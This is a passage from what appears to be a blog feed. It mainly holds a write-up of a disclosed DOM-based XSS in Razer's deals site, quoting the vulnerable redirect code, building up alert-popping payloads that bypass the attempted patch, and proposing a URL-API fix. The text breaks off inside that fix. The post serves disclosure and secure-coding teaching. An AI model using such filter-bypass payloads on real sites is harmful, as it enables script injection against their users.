&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://datatracker.ietf.org/doc/html/draft-foudil-securitytxt-12#section-6"&gt;https://datatracker.ietf.org/doc/html/draft-foudil-securitytxt-12#section-6&lt;/a&gt;&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;It may be worth reading &lt;a href="https://edoverflow.com/2018/logic-flaws-in-wot-services/"&gt;&amp;ldquo;An analysis of logic flaws in web-of-trust services&amp;rdquo;&lt;/a&gt; which covers some of the attack vectors considered while designing security.txt.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>What Bypassing Razer's DOM-based XSS Patch Can Teach Us</title><link>https://edoverflow.com/2022/bypassing-razers-dom-based-xss-filter/</link><pubDate>Sat, 05 Feb 2022 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2022/bypassing-razers-dom-based-xss-filter/</guid><description>&lt;p&gt;An old story of a bug I uncovered and reported to Razer&amp;rsquo;s vulnerability disclosure programme resurfaced recently while I was chatting with &lt;a href="https://twitter.com/_zulln"&gt;Linus Särud&lt;/a&gt;. Back in 2017, I uncovered a snippet of JavaScript code on &lt;code&gt;deals.razerzone.com&lt;/code&gt; which handled redirection after a user logged in.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// let rurl = document.location.href;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;razerUserLogin&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;rurl=&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;href&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; decodeURIComponent(&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The code extracted the value from the &lt;code&gt;rurl&lt;/code&gt; GET parameter, and redirected the user to the value of that GET parameter. For example, &lt;code&gt;https://deals.razerzone.com/?rurl=https://deals.razerzone.com/settings&lt;/code&gt; would redirect to &lt;code&gt;https://deals.razerzone.com/settings&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://deals.razerzone.com/?rurl=https://deals.razerzone.com/settings&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;rurl=&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; [ &amp;#39;https://deals.razerzone.com/?&amp;#39;, &amp;#39;https://deals.razerzone.com/settings&amp;#39; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;rurl=&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; &amp;#39;https://deals.razerzone.com/settings&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Besides the obvious open redirect due to a lack of validation of the redirect endpoint (&lt;code&gt;rurl&lt;/code&gt;), this code was vulnerable to DOM-based XSS.&lt;/p&gt;
&lt;p&gt;Setting the &lt;code&gt;window.location.href&lt;/code&gt; property to a &lt;code&gt;javascript:&lt;/code&gt; protocol URI will execute JavaScript code in the context of the target web application. Something as simple as &lt;code&gt;https://deals.razerzone.com/?rurl=javascript:alert(document.domain)&lt;/code&gt; would prompt the user with an alert message displaying the current page&amp;rsquo;s &lt;code&gt;document.domain&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/152548384-9da06b14-a364-4a95-9831-975a594816c1.png" alt="DOM-based XSS in deals.razerzone.com" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Razer attempted to patch the vulnerability with the following &lt;code&gt;if&lt;/code&gt; statement.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// let rurl = document.location.href;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// let siteURL = &amp;#39;https://deals.razerzone.com&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;razerUserLogin&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;rurl=&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; decodeURIComponent(&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;indexOf&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;siteURL&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;] &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;siteURL&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;href&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Author&amp;rsquo;s note:&lt;/strong&gt; Before continuing to read beyond this point, I encourage the reader to play around with the code and determine if the validation can be bypassed. Please feel free to respond to &lt;a href="https://twitter.com/EdOverflow/status/1490038746842075141"&gt;this tweet&lt;/a&gt; with your bypass.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Skimming through the code above may provoke the reader to ponder why a developer would write such code. Most literature on good coding practices will mention something along the lines of &amp;ldquo;good code should not have any surprises&amp;rdquo;. More importantly, the purpose (the &lt;em&gt;&amp;ldquo;why?&amp;rdquo;&lt;/em&gt;) of an important piece of code, such as the one highlighted above, should be documented in some form. Even better yet: if possible, &lt;a href="https://en.wikipedia.org/wiki/Self-documenting_code"&gt;the code should document itself&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/152655879-44325b4b-b8d1-4820-a92e-8cb0e868b972.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;The attempted patch by Razer failed on all accounts. Why parse &lt;code&gt;rurl&lt;/code&gt; manually rather than rely on &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/URL"&gt;the built-in &lt;code&gt;URL&lt;/code&gt; API&lt;/a&gt;? What do all the nested &lt;code&gt;split()&lt;/code&gt; methods extract from &lt;code&gt;rurl&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;When performing code review, I like to better understand what might have been going through the developer&amp;rsquo;s mind. In other words, we need to determine the purpose of the code above and answer the &lt;em&gt;&amp;ldquo;why?&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rurl.indexOf(siteURL) &amp;gt; -1&lt;/code&gt; is in a sense fuzzy matching the user-supplied redirect URL (&lt;code&gt;rurl&lt;/code&gt;) to determine if the trusted URL (&lt;code&gt;siteURL&lt;/code&gt;) is present in the string. The developer was trying to answer: &lt;em&gt;Is the trusted &lt;code&gt;siteURL&lt;/code&gt; a substring of the user-supplied &lt;code&gt;rurl&lt;/code&gt;?&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rurl.split(&amp;quot;://&amp;quot;)[1].split(&amp;quot;/&amp;quot;)[0]&lt;/code&gt; is an attempt at extracting the hostname from user-supplied redirect URL and comparing it to the hostname from the trusted &lt;code&gt;siteURL&lt;/code&gt;. &lt;code&gt;rurl.split(&amp;quot;://&amp;quot;)[1]&lt;/code&gt; is supposed to remove the protocol scheme portion of the URL (e.g. &lt;code&gt;https:&lt;/code&gt;), and &lt;code&gt;.split(&amp;quot;/&amp;quot;)[0]&lt;/code&gt; discards the URL path revealing the hostname.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com/settings&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; [ &amp;#39;https&amp;#39;, &amp;#39;example.com/settings&amp;#39; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; &amp;#39;example.com/settings&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; [ &amp;#39;example.com&amp;#39;, &amp;#39;settings&amp;#39; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; &amp;#39;example.com&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It appears the developer was attempting to determine if the trusted URL was present in &lt;code&gt;rurl&lt;/code&gt; and if the hostname in &lt;code&gt;rurl&lt;/code&gt; matched their trusted host (&lt;code&gt;deals.razerzone.com&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Unfortunately, this validation could be bypassed in several ways. The &lt;code&gt;indexOf()&lt;/code&gt; check in (1.) merely required &lt;code&gt;https://deals.razerzone.com&lt;/code&gt; to be present somewhere in &lt;code&gt;rurl&lt;/code&gt;; not strictly at the beginning of the string. Step (2.) would extract the hostname after the first occurrence of &lt;code&gt;://&lt;/code&gt;. So &lt;code&gt;rurl&lt;/code&gt; could still start with &lt;code&gt;javascript:&lt;/code&gt;. However, &lt;code&gt;://deals.razerzone.com/&lt;/code&gt; would have to appear at some point in the payload before any further occurrence of &lt;code&gt;://&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;javascript://deals.razerzone.com/&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; [ &amp;#39;javascript&amp;#39;, &amp;#39;deals.razerzone.com/&amp;#39; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; &amp;#39;deals.razerzone.com/&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//=&amp;gt; [ &amp;#39;deals.razerzone.com&amp;#39;, &amp;#39;&amp;#39; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;://&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;deals.razerzone.com&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As the syntax highlighting in this snippet below gives away, &lt;code&gt;//&lt;/code&gt; is treated as a single-line comment and therefore comments out the &lt;code&gt;deals.razerzone.com/&lt;/code&gt; portion of the payload.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;javascript&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#75715e"&gt;//deals.razerzone.com/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, we needed a way to break out of the single-line comment and append JavaScript code. I learnt a trick for this from &lt;a href="https://twitter.com/garethheyes"&gt;Gareth Heyes&lt;/a&gt;: JavaScript &lt;a href="https://tc39.es/ecma262/#sec-line-terminators"&gt;treats the &lt;code&gt;U+2028&lt;/code&gt; &lt;em&gt;Line Separator&lt;/em&gt; character as a line terminator which results in a newline&lt;/a&gt;. &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;javascript&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#75715e"&gt;//deals.razerzone.com/%E2%80%A8alert(document.domain)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That all being said, any form of line terminator would have worked here including &lt;a href="https://en.wikipedia.org/wiki/Newline"&gt;line feed&lt;/a&gt; (&lt;code&gt;%0A&lt;/code&gt;) and &lt;a href="https://en.wikipedia.org/wiki/Carriage_return"&gt;carriage return&lt;/a&gt; (&lt;code&gt;%0D&lt;/code&gt;). I like the &lt;code&gt;U+2028&lt;/code&gt; trick because I have encountered situations where newlines were stripped and I needed to bypass this behaviour using &lt;code&gt;U+2028&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, to bypass the &lt;code&gt;indexOf()&lt;/code&gt; check in (1.), one could append &lt;code&gt;https://deals.razerzone.com&lt;/code&gt; to the end of the payload and comment it out so as not to affect the &lt;code&gt;alert()&lt;/code&gt; call.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;javascript&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#75715e"&gt;//deals.razerzone.com/%E2%80%A8alert(document.domain)//https://deals.razerzone.com
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/152563729-24bd74c0-f26f-42a2-b72c-935ae44226fc.png" alt="DOM-based XSS patch bypass" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This illustrates one of many ways the &lt;code&gt;if&lt;/code&gt; statement could have been bypassed. Something as simple as &lt;code&gt;javascript:alert()//https://deals.razerzone.com&lt;/code&gt; would have worked too. An even simpler and more humorous bypass which I discovered was &lt;code&gt;javascript:alert(&amp;quot;https://deals.razerzone.com/&amp;quot;)&lt;/code&gt;. Can you determine why this would have worked?&lt;/p&gt;
&lt;p&gt;A quick fix for the vulnerable code would have been to verify &lt;code&gt;rurl.indexOf(siteURL) == 0&lt;/code&gt; and hardcode &lt;code&gt;siteURL&lt;/code&gt; to &lt;code&gt;https://deals.razerzone.com/&lt;/code&gt; (note the appended &lt;code&gt;/&lt;/code&gt;). This would have ensured &lt;code&gt;rurl&lt;/code&gt; started with &lt;code&gt;https://deals.razerzone.com/&lt;/code&gt;, preventing redirects to external hosts and mitigating the DOM-based XSS vulnerability.&lt;/p&gt;
&lt;p&gt;However, this quick fix does not solve the problem of confusing future readers. In addition, the code is incredibly brittle and not future-proof. We are relying heavily on &lt;code&gt;/&lt;/code&gt; at the end of the &lt;code&gt;siteURL&lt;/code&gt;. Remove the final &lt;code&gt;/&lt;/code&gt; from &lt;code&gt;siteURL&lt;/code&gt; and the whole fix falls apart. This approach feels more like a &lt;em&gt;&amp;ldquo;hack&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A more adequate fix using the &lt;code&gt;URL&lt;/code&gt; API may have been:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;razerUserLogin&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;params&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URL&lt;/span&gt;(document.&lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;searchParams&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;rurl&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Validate redirect URI to ensure user is redirected to trusted
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// deals.razerzone.com endpoint. This prevents unvalidated redirects
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// to malicious pages and DOM-based XSS using the javascript: protocol.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Reference: https://hackerone.com/reports/292200
